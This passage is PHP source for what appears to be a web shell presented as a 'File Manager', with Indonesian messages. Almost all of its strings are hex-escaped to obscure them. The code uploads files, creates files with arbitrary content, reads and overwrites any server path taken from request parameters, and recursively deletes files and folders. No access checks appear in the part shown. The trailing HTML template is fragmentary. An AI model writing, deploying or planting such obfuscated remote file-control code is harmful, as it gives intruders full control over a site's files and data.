= 1073741824) return round($b/1073741824, 1)."\x20\107\x42";
if ($b >= 1048576) return round($b/1048576, 1)."\x20\115\x42";
if ($b >= 1024) return round($b/1024, 1)."\x20\113\x42";
return $b."\x20\102";
}
function fIcon($name) {
$e = strtolower(pathinfo($name, PATHINFO_EXTENSION));
$m = array(
"\x70\144\x66"=>"\xF0\237\x93\225","\x70\150\x70"=>"\xF0\237\x90\230","\x6A\163"=>"\xF0\237\x93\234","\x68\164\x6D\154"=>"\xF0\237\x8C\220","\x68\164\x6D"=>"\xF0\237\x8C\220",
"\x63\163\x73"=>"\xF0\237\x8E\250","\x6A\163\x6F\156"=>"\xF0\237\x93\213","\x78\155\x6C"=>"\xF0\237\x93\204","\x73\161\x6C"=>"\xF0\237\x97\203\xEF\270\x8F",
"\x6A\160\x67"=>"\xF0\237\x96\274\xEF\270\x8F","\x6A\160\x65\147"=>"\xF0\237\x96\274\xEF\270\x8F","\x70\156\x67"=>"\xF0\237\x96\274\xEF\270\x8F","\x67\151\x66"=>"\xF0\237\x96\274\xEF\270\x8F","\x77\145\x62\160"=>"\xF0\237\x96\274\xEF\270\x8F",
"\x7A\151\x70"=>"\xF0\237\x97\234\xEF\270\x8F","\x72\141\x72"=>"\xF0\237\x97\234\xEF\270\x8F","\x67\172"=>"\xF0\237\x97\234\xEF\270\x8F","\x74\141\x72"=>"\xF0\237\x97\234\xEF\270\x8F",
"\x74\170\x74"=>"\xF0\237\x93\235","\x6D\144"=>"\xF0\237\x93\235","\x63\163\x76"=>"\xF0\237\x93\212","\x6C\157\x67"=>"\xF0\237\x93\213",
"\x6D\160\x34"=>"\xF0\237\x8E\254","\x6D\160\x33"=>"\xF0\237\x8E\265","\x64\157\x63\170"=>"\xF0\237\x93\230","\x78\154\x73\170"=>"\xF0\237\x93\227","\x70\160\x74\170"=>"\xF0\237\x93\231",
);
return isset($m[$e]) ? $m[$e] : "\xF0\237\x93\204";
}
// Upload
if ($act === "\x75\160" && isset($_FILES["\x66"])) {
$ok = 0;
foreach ($_FILES["\x66"]["\x6E\141\x6D\145"] as $i => $n) {
if ($_FILES["\x66"]["\x65\162\x72\157\x72"][$i] !== 0) continue;
$dst = $cur . "\x2F" . basename($n);
if (move_uploaded_file($_FILES["\x66"]["\x74\155\x70\137\x6E\141\x6D\145"][$i], $dst)) $ok++;
}
$_SESSION["\x6D\163\x67"] = $ok . "\x20\146\x69\154\x65\040\x62\145\x72\150\x61\163\x69\154\x20\144\x69\165\x70\154\x6F\141\x64\056";
header("\x4C\157\x63\141\x74\151\x6F\156\x3A\040\x3F\144\x3D" . urlencode($cur));
exit;
}
// Buat folder
if ($act === "\x6D\144") {
$n = trim(isset($_POST["\x6E"]) ? $_POST["\x6E"] : "");
$n = preg_replace("\x2F\133\x5E\141\x2D\172\x41\055\x5A\060\x2D\071\x2E\137\x5C\055\x20\135\x2F", "", $n);
if ($n === "") {
$err = "\x4E\141\x6D\141\x20\146\x6F\154\x64\145\x72\040\x6B\157\x73\157\x6E\147\x2E";
} elseif (file_exists($cur . "\x2F" . $n)) {
$err = "\x53\165\x64\141\x68\040\x61\144\x61\056";
} elseif (mkdir($cur . "\x2F" . $n, 0755, true)) {
$_SESSION["\x6D\163\x67"] = "\x46\157\x6C\144\x65\162\x20\142\x65\162\x68\141\x73\151\x6C\040\x64\151\x62\165\x61\164\x2E";
header("\x4C\157\x63\141\x74\151\x6F\156\x3A\040\x3F\144\x3D" . urlencode($cur));
exit;
} else {
$err = "\x47\141\x67\141\x6C\040\x6D\145\x6D\142\x75\141\x74\040\x66\157\x6C\144\x65\162\x2E";
}
}
// Buat file
if ($act === "\x6E\146") {
$n = trim(isset($_POST["\x6E"]) ? $_POST["\x6E"] : "");
$n = preg_replace("\x2F\133\x5E\141\x2D\172\x41\055\x5A\060\x2D\071\x2E\137\x5C\055\x5D\057", "", $n);
$c = isset($_POST["\x63"]) ? $_POST["\x63"] : "";
if ($n === "") {
$err = "\x4E\141\x6D\141\x20\146\x69\154\x65\040\x6B\157\x73\157\x6E\147\x2E";
} elseif (file_exists($cur . "\x2F" . $n)) {
$err = "\x46\151\x6C\145\x20\163\x75\144\x61\150\x20\141\x64\141\x2E";
} elseif (file_put_contents($cur . "\x2F" . $n, $c) !== false) {
$_SESSION["\x6D\163\x67"] = "\x46\151\x6C\145\x20\142\x65\162\x68\141\x73\151\x6C\040\x64\151\x62\165\x61\164\x2E";
header("\x4C\157\x63\141\x74\151\x6F\156\x3A\040\x3F\144\x3D" . urlencode($cur));
exit;
} else {
$err = "\x47\141\x67\141\x6C\040\x6D\145\x6D\142\x75\141\x74\040\x66\151\x6C\145\x2E";
}
}
// Save edit file
if ($act === "\x73\141\x76\145\x66\151\x6C\145") {
$target = isset($_POST["\x74\141\x72\147\x65\164"]) ? $_POST["\x74\141\x72\147\x65\164"] : "";
$content = isset($_POST["\x63\157\x6E\164\x65\156\x74"]) ? $_POST["\x63\157\x6E\164\x65\156\x74"] : "";
if ($target === "" || !is_file($target)) {
$err = "\x46\151\x6C\145\x20\164\x69\144\x61\153\x20\144\x69\164\x65\155\x75\153\x61\156\x2E";
} elseif (!is_writable($target)) {
$err = "\x46\151\x6C\145\x20\164\x69\144\x61\153\x20\142\x69\163\x61\040\x64\151\x74\165\x6C\151\x73\056";
} elseif (file_put_contents($target, $content) !== false) {
$_SESSION["\x6D\163\x67"] = "\x46\151\x6C\145\x20\142\x65\162\x68\141\x73\151\x6C\040\x64\151\x73\151\x6D\160\x61\156\x2E";
header("\x4C\157\x63\141\x74\151\x6F\156\x3A\040\x3F\144\x3D" . urlencode(dirname($target)));
exit;
} else {
$err = "\x47\141\x67\141\x6C\040\x6D\145\x6E\171\x69\155\x70\141\x6E\040\x66\151\x6C\145\x2E";
}
}
// Delete file / folder
if ($act === "\x64\145\x6C") {
$target = isset($_POST["\x74\141\x72\147\x65\164"]) ? $_POST["\x74\141\x72\147\x65\164"] : "";
if ($target === "" || !file_exists($target)) {
$err = "\x54\141\x72\147\x65\164\x20\164\x69\144\x61\153\x20\144\x69\164\x65\155\x75\153\x61\156\x2E";
} else {
$ok = false;
if (is_dir($target)) {
$ok = rrmdir($target);
} else {
$ok = @unlink($target);
}
if ($ok) {
$_SESSION["\x6D\163\x67"] = "\x42\145\x72\150\x61\163\x69\154\x20\144\x69\150\x61\160\x75\163\x2E";
header("\x4C\157\x63\141\x74\151\x6F\156\x3A\040\x3F\144\x3D" . urlencode($cur));
exit;
} else {
$err = "\x47\141\x67\141\x6C\040\x6D\145\x6E\147\x68\141\x70\165\x73\056";
}
}
}
// Flash message
if (isset($_SESSION["\x6D\163\x67"])) {
$msg = $_SESSION["\x6D\163\x67"];
unset($_SESSION["\x6D\163\x67"]);
}
// Mode edit
$editFile = isset($_GET["\x65\144\x69\164"]) ? $_GET["\x65\144\x69\164"] : "";
$editMode = false;
$editContent = "";
if ($editFile !== "") {
if (is_file($editFile) && is_readable($editFile)) {
$editMode = true;
$editContent = file_get_contents($editFile);
if ($editContent === false) $editContent = "";
} else {
$err = "\x46\151\x6C\145\x20\145\x64\151\x74\040\x74\151\x64\141\x6B\040\x64\151\x74\145\x6D\165\x6B\141\x6E\040\x2F\040\x74\151\x64\141\x6B\040\x62\151\x73\141\x20\144\x69\142\x61\143\x61\056";
}
}
// Daftar isi direktori
$dirs = array();
$files = array();
if (is_dir($cur) && is_readable($cur)) {
$items = scandir($cur);
foreach ($items as $it) {
if ($it === "\x2E" || $it === "\x2E\056") continue;
$abs = $cur . "\x2F" . $it;
if (is_dir($abs)) {
$dirs[] = $it;
} else {
$files[] = $it;
}
}
sort($dirs);
sort($files);
}
$totalItems = count($dirs) + count($files); ?>
File Manager
✅ = htmlspecialchars($msg) ?>
⚠️ = htmlspecialchars($err) ?>
✏️ Edit File: = htmlspecialchars($editFile) ?>
⬅ Kembali
| Nama |
Tipe |
Ukuran |
Diubah |
Aksi |
|
📁= htmlspecialchars($d) ?>
|
dir |
— |
= date('Y-m-d H:i', (int)filemtime($abs)) ?> |
|
|
= fIcon($f) ?>= htmlspecialchars($f) ?>
|
= htmlspecialchars($ext) ?> |
= fmtSize((int)filesize($abs)) ?> |
= date('Y-m-d H:i', (int)filemtime($abs)) ?> |
|